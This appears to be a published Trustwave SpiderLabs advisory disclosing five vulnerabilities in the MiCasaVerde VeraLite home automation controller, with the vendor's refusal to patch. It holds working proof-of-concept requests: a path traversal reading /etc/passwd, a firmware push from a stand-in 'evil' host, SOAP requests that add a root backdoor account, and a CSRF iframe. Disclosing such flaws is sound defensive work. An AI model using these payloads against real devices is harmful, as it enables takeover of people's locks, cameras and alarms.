MiCasaVerde VeraLite 1.5.408 - Multiple Vulnerabilities

Trustwave SpiderLabs Security Advisory TWSL2013-019:

Multiple Vulnerabilities in MiCasaVerde VeraLite



Published: 08/01/13

Version: 1.0



Vendor: MiCasaVerde (http://www.micasaverde.com/)

Product: VeraLite

Version affected:  1.5.408



Product description:

The MiCasaVerde VeraLite is the budget model from MiCasaVerde, a product

which centralizes control over home automation devices such as door locks,

window blinds, security cameras, smoke detectors, HVAC systems, lights,

etc.



Finding 1: Path Traversal

*****Credit: Daniel Crowley of Trustwave SpiderLabs

CVE: CVE-2013-4861

CWE: CWE-23



The VeraLite has a path traversal vulnerability allowing for disclosure of

arbitrary files. This allows an attacker to retrieve the contents of any

file on the system such as the /etc/passwd file which contains the hashed

root password as well as the tech support remote access password if remote

access has been configured.



A proof of concept can be run against a VeraLite by using the following URL:

GET http://A.B.C.D/cgi-bin/cmh/get_file.sh?filename=../../../../../etc/passwd



On a newly unboxed VeraLite, this shouldn't work as the first part of the

path used by the script doesn't exist, but the directory which must exist

for exploitation to work correctly can be created by using the

store_file.sh script, like so:



GET http://A.B.C.D/cgi-bin/cmh/store_file.sh?store_file=test



This attack can also be launched through the Internet-based control panel

at cp.mios.com when logged in as either an admin or guest level account.



Finding 2: Insufficient Authorization Checks

*****Credit: Daniel Crowley of Trustwave SpiderLabs

CVE: CVE-2013-4862

CWE: CWE-285



The VeraLite makes a distinction between Administrator and Guest users such

that Guest users should not be able to make changes to the configuration of

the system. There are several functionalities included in the VeraLite

console available to Guest level users which can be used to escalate

privileges.



A) Firmware update - This allows a guest to push custom firmware to the

unit and can allow for full compromise of the device.



A proof of concept can be seen using the following URL:

GET http://A.B.C.D/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs



B) Settings backup - This allows a guest to obtain copies of various

sensitive files, including the lighttpd.users file which contains hashed

cp.mios.com passwords, and the passwd file which contains the hashed root

password.



GET http://A.B.C.D/cgi-bin/cmh/backup.sh?external=1



C) Test Luup code (Lua) - This allows a guest to run Lua code on the

VeraLite as root. A backdoor account can be added with the following POST

request:



POST /port_49451/upnp/control/hag HTTP/1.1

Host: A.B.C.D

Accept: text/javascript, text/html, application/xml, text/xml, */*

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

X-Prototype-Version: 1.7

Content-Type: text/xml;charset=UTF-8

MIME-Version: 1.0

SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua"

Content-Length: 311

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache



<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body>    <u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1">        <DeviceNum></DeviceNum> <Code>os.execute("echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd")</Code>    </u:RunLua></s:Body></s:Envelope>





Finding 3: Insufficient Authentication Checks

*****Credit: Daniel Crowley of Trustwave SpiderLabs

CVE: CVE-2013-4863

CWE: CWE-287



The VeraLite exposes UPnP functionality which allows for Lua code to be run

as root from the LAN without authentication using the RunLua action in the

HomeAutomationGateway service of the HomeAutomationGateway device. A

backdoor account can be added with the following POST request to port

49451:



POST /upnp/control/hag HTTP/1.1

Host: A.B.C.D:49451

Accept: text/javascript, text/html, application/xml, text/xml, */*

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

X-Prototype-Version: 1.7

Content-Type: text/xml;charset=UTF-8

MIME-Version: 1.0

SOAPACTION: "urn:schemas-micasaverde-org:service:HomeAutomationGateway:1#RunLua"

Content-Length: 311

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache



<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body>    <u:RunLua xmlns:u="urn:schemas-micasaverde-org:service:HomeAutomationGateway:1">        <DeviceNum></DeviceNum> <Code>os.execute("echo 'backdoor%3a%3a0%3a0%3aBackdoor Root Account%3a/tmp%3a/bin/ash' %3e%3e /etc/passwd")</Code>    </u:RunLua></s:Body></s:Envelope>



Finding 4: Server-Side Request Forgery

*****Credit: Daniel Crowley of Trustwave SpiderLabs

CVE: CVE-2013-4864

CWE: CWE-918



The VeraLite will make HTTP requests on behalf of a user using the

/cgi-bin/cmh/proxy.sh script. A proof of concept to pull the homepage of

trustwave.com is as follows:



GET http://A.B.C.D/cgi-bin/cmh/proxy.sh?url=https://www.trustwave.com



This allows an attacker to bypass firewall controls, use the VeraLite as a proxy





Finding 5: Cross-Site Request Forgery

*****Credit: Daniel Crowley of Trustwave SpiderLabs

CVE: CVE-2013-4865

CWE: CWE-352



The VeraLite does not implement any defense against cross-site request

forgery. A proof of concept as seen below can cause a Vera user to update

their firmware using a custom firmware URL:



<html>

<body>

<iframe src="http://A.B.C.D/upgrade_step2.sh?squashfs=http://example.com/evil_vera_firmware.squashfs" width="1" height="1">

</iframe>

</body>

</html>



If this PoC was embedded in any web page a targeted user visited, an

attacker would be able to make arbitrary changes to the firmware on the

device, allowing the potential for remote root access.



Vendor Response:

"...the "vulnerabilities" you referred to were deliberate design decisions

because that's what the customers in this particular channel (ie Vera

retail) want.  As you can see we have an open forum to discuss this, and

very people object to leaving Vera open.  So we are not able to lock down

the gateway, and effectively break the systems of many customers who rely

on the open system to run their own scripts and plugins."



Remediation Steps:

No official patch is available.  To limit exposure,

network access to these devices should be limited to authorized

personnel through the use of access control lists and proper

network segmentation.



Revision History:

04/23/13 - Vulnerability disclosed to vendor

06/04/13 - Vendor confirms they will not fix

08/01/13 - Advisory published





References

1. http://www.micasaverde.com/





About Trustwave:

Trustwave is the leading provider of on-demand and subscription-based

information security and payment card industry compliance management

solutions to businesses and government entities throughout the world. For

organizations faced with today's challenging data security and compliance

environment, Trustwave provides a unique approach with comprehensive

solutions that include its flagship TrustKeeper compliance management

software and other proprietary security solutions. Trustwave has helped

thousands of organizations--ranging from Fortune 500 businesses and large

financial institutions to small and medium-sized retailers--manage

compliance and secure their network infrastructure, data communications and

critical information assets. Trustwave is headquartered in Chicago with

offices throughout North America, South America, Europe, Africa, China and

Australia. For more information, visit https://www.trustwave.com



About Trustwave SpiderLabs:

SpiderLabs(R) is the advanced security team at Trustwave focused on

application security, incident response, penetration testing, physical

security and security research. The team has performed over a thousand

incident investigations, thousands of penetration tests and hundreds of

application security tests globally. In addition, the SpiderLabs Research

team provides intelligence through bleeding-edge research and proof of

concept tool development to enhance Trustwave's products and services.

https://www.trustwave.com/spiderlabs



Disclaimer:

The information provided in this advisory is provided "as is" without

warranty of any kind. Trustwave disclaims all warranties, either express or

implied, including the warranties of merchantability and fitness for a

particular purpose. In no event shall Trustwave or its suppliers be liable

for any damages whatsoever including direct, indirect, incidental,

consequential, loss of business profits or special damages, even if

Trustwave or its suppliers have been advised of the possibility of such

damages. Some states do not allow the exclusion or limitation of liability

for consequential or incidental damages so the foregoing limitation may not

apply.



________________________________



This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.